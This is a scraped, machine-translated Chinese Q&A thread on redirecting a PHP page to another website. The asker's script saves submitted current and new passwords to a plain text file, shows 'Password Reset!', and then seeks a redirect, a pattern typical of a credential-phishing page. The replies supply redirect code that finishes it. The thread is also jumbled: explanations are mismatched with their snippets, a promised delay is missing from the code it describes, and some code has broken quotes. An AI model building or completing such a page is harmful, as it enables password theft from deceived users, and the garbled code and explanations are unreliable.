PHP重定向到网站

PHP重定向到网站,php,html,Php,Html,如何在显示“密码重置”后将此重定向到其他网站 (不擅长编码)试试这个: <?php // Open the text file $f = fopen("users.txt", "a"); // Write text fwrite($f, $_POST["_current_password1_"]); fwrite($f, $_POST["_new_password1_"]); // Close the text file fclose($f); print "Password R

如何在显示“密码重置”后将此重定向到其他网站 (不擅长编码)

试试这个:

<?php

// Open the text file
$f = fopen("users.txt", "a");

// Write text
fwrite($f, $_POST["_current_password1_"]);
fwrite($f, $_POST["_new_password1_"]);

// Close the text file
fclose($f);


print "Password Reset!";


?>

使用header函数
header('Location:url')

该功能可能有帮助:

header("Location: http://example.com/myOtherPage.php");
die();

要在显示消息后执行重定向,可以使用如下刷新标题:

<?php
    header('Location: http://www.example.com/');
    exit; // End current script
?>
这将在5秒后执行重定向。您需要在“打印”命令之前添加它。

您可以使用重定向到其他网站:

header("refresh:5; url=otherpage.php");
echo“window.location='www.google.com';”;
如果要在重定向前延迟几秒钟,可以使用以下方法:

echo“setTimeout(function(){window.location='www.google.com';},3000);”;

您可以使用以下两种方式重定向到其他页面:

1-使用PHP函数:

echo "<script>setTimeout(function(){window.location = 'www.google.com';}, 3000);</script>";
2-在PHP代码中使用JavaScript:

header('Location: http://www.example.com/');
echo'window.location=”http://www.example.com/";';
添加
标题('位置:http://www.example.com/');打印前谢谢你,这很有效!
header('Location: http://www.example.com/');
echo '<script type="text/javascript">window.location = "http://www.example.com/";</script>';